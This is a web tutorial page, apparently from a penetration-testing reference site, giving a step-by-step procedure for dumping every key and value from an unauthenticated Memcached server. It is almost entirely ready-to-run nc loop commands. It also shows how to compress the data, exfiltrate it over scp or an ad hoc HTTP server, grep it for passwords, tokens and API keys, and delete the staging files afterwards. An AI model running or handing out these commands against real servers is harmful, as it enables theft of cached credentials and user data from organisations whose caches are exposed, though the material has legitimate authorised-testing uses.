Skip to content
HackIndex logo

HackIndex

Memcached Bulk Cache Dump and Exfiltration

1 min read Mar 17, 2026

After confirming unauthenticated access and identifying high-value keys, the next step is capturing the full cache contents for offline analysis and evidence. This covers extracting all keys and values, staging the output, and transferring it off the target network.

Estimate Cache Size Before Dumping

Check the total data volume before committing to a full dump:

┌──(kali㉿kali)-[~]
└─$ echo -e "stats\r" | nc -q2 $TARGET_IP 11211 | grep -E 'curr_items|bytes' 
STAT curr_items 2841
STAT bytes 18432910

bytes is the raw cache size in bytes. 18MB is fast to dump and transfer. Caches above a few hundred MB may warrant selective extraction rather than a full dump.

Dump All Keys with lru_crawler metadump

lru_crawler metadump returns all keys across all slabs in a single command and is the fastest way to get a complete key list:

┌──(kali㉿kali)-[~]
└─$ echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211 > /tmp/memcached-keys-meta.txt

Check the key count:

┌──(kali㉿kali)-[~]
└─$ wc -l /tmp/memcached-keys-meta.txt

Extract just the key names for the next step:

┌──(kali㉿kali)-[~]
└─$ grep -oP '(?<=key=)\S+' /tmp/memcached-keys-meta.txt > /tmp/memcached-keynames.txt

If the target runs Memcached below 1.4.31, fall back to per-slab cachedump:

┌──(kali㉿kali)-[~]
└─$ for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done | grep ^ITEM | awk '{print $2}' > /tmp/memcached-keynames.txt

Retrieve All Values

Pull the value for every key and write to a single output file:

┌──(kali㉿kali)-[~]
└─$ while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/memcached-keynames.txt > /tmp/memcached-values.txt

For large key counts this loop can be slow due to one TCP connection per key. Batch multiple keys per request to speed it up:

┌──(kali㉿kali)-[~]
└─$ paste - - - - - - - - - - < /tmp/memcached-keynames.txt | while read batch; do echo -e "get $batch\r" | nc -q2 $TARGET_IP 11211; done >> /tmp/memcached-values.txt

This sends 10 keys per request. Adjust the number of - arguments to change batch size. Memcached accepts multiple keys in a single get command.

Combine and Compress

Merge the key metadata and values into a single archive:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/memcached-keys-meta.txt /tmp/memcached-values.txt > /tmp/memcached-full-dump.txt
┌──(kali㉿kali)-[~]
└─$ gzip /tmp/memcached-full-dump.txt

Check compressed size before transferring:

┌──(kali㉿kali)-[~]
└─$ du -sh /tmp/memcached-full-dump.txt.gz

Transfer Off the Target Network

If you are running commands from your own machine directly against the target, the files are already local. If you are operating through a pivot host, transfer the archive to your machine:

┌──(kali㉿kali)-[~]
└─$ scp /tmp/memcached-full-dump.txt.gz $USER@$LHOST:/tmp/

If SCP is not available, serve the file over HTTP from the pivot:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080

Then retrieve it from your machine:

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:8080/memcached-full-dump.txt.gz -o /tmp/memcached-full-dump.txt.gz

Parse and Triage the Dump Offline

Once the dump is on your machine, search for high-value content:

┌──(kali㉿kali)-[~]
└─$ zcat /tmp/memcached-full-dump.txt.gz | grep -iE 'password|passwd|secret|token|apikey|api_key|auth|credential'

Extract all JSON values for structured review:

┌──(kali㉿kali)-[~]
└─$ zcat /tmp/memcached-full-dump.txt.gz | grep -oE '\{[^}]+\}' | python3 -m json.tool 2>/dev/null

Decode any base64 payloads found in values:

┌──(kali㉿kali)-[~]
└─$ zcat /tmp/memcached-full-dump.txt.gz | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | while read b64; do echo "$b64" | base64 -d 2>/dev/null | strings | grep -v '^$' && echo "---"; done

Clean Up

Remove staging files after transfer:

┌──(kali㉿kali)-[~]
└─$ rm -f /tmp/memcached-keys-meta.txt /tmp/memcached-keynames.txt /tmp/memcached-values.txt /tmp/memcached-full-dump.txt.gz

References